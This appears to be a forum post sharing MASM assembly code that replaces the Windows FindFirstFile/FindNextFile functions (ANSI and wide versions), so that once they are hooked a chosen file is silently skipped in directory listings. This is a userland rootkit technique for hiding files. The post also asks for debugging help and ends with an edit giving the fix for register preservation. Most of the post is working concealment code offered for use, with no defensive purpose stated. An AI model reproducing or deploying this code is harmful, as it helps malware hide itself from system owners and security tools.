Hiding File

[learn_more]

by Max_Power

You need to know how to do the hooking, but here are the function replacements:

MyFindFirstFileA proc lpFileName:DWORD,lpFindFileData:DWORD
	LOCAL hSearch:DWORD

	;Get the first file
	push lpFindFileData
	push lpFileName
	call nOrigFFFA

	mov hSearch,eax
	
	mov ebx,lpFindFileData
	assume ebx:ptr WIN32_FIND_DATA
	
	;If the file name is the name of the file
        ;we are trying to hide then use FindNextFile
        ;to return the next file and skip this one.
        lea eax,[ebx].cFileName
	invoke lstrcmpi,ADDR szHide,eax
	assume ebx:Nothing
	.IF eax==0 && hSearch!=INVALID_HANDLE_VALUE
		push lpFindFileData
		push hSearch
		call nOrigFNFA
	.ENDIF
	
	mov eax,hSearch
	ret
MyFindFirstFileA endp

MyFindNextFileA proc hFindFile:DWORD,lpFindFileData:DWORD
	LOCAL dwRet:DWORD
	
	push lpFindFileData
	push hFindFile
	call nOrigFNFA
	
	mov dwRet,eax
	
	mov ebx,lpFindFileData
	assume ebx:ptr WIN32_FIND_DATA
	
	lea eax,[ebx].cFileName
	invoke lstrcmpi,ADDR szHide,eax
	assume ebx:Nothing
	.IF eax==0
		push lpFindFileData
		push hFindFile
		call nOrigFNFA 
		
		mov dwRet,eax
	.ENDIF
		
	mov eax,dwRet
	ret
MyFindNextFileA endp

MyFindFirstFileW proc lpFileName:DWORD,lpFindFileData:DWORD
	LOCAL hSearch:DWORD
	LOCAL szFile[255]:BYTE

	push lpFindFileData
	push lpFileName
	call nOrigFFFW

	mov hSearch,eax
	
	mov ebx,lpFindFileData
	assume ebx:ptr WIN32_FIND_DATA
	
        lea edx,[ebx].cFileName
        invoke	WideCharToMultiByte,CP_ACP,0,edx,-1,ADDR szFile,255,0,0
	invoke lstrcmpi,ADDR szHide,ADDR szFile
	assume ebx:Nothing
	.IF eax==0 && hSearch!=INVALID_HANDLE_VALUE
		push lpFindFileData
		push hSearch
		call nOrigFNFW
	.ENDIF
	
	mov eax,hSearch
	ret
MyFindFirstFileW endp

MyFindNextFileW proc hFindFile:DWORD,lpFindFileData:DWORD
	LOCAL dwRet:DWORD
	LOCAL szFile[255]:BYTE
	
	push lpFindFileData
	push hFindFile
	call nOrigFNFW
	
	mov dwRet,eax
	
	mov ebx,lpFindFileData
	assume ebx:ptr WIN32_FIND_DATA
	
	lea edx,[ebx].cFileName
	invoke WideCharToMultiByte,CP_ACP,0,edx,-1,ADDR szFile,255,0,0
	invoke lstrcmpi,ADDR szHide,ADDR szFile
	assume ebx:Nothing
	.IF eax==0
		push lpFindFileData
		push hFindFile
		call nOrigFNFW
		
		mov dwRet,eax
	.ENDIF
		
	mov eax,dwRet
	ret
MyFindNextFileW endp

There is a bug in this code I am having trouble seeing if someone could logic check me. It crashes randomly unlike my C++ version.

EDIT: Found the problem. You need to preserve the ebx register for the multibyte functions and ebx and edx for the wide ones. Do this by using the uses keyword after Proc.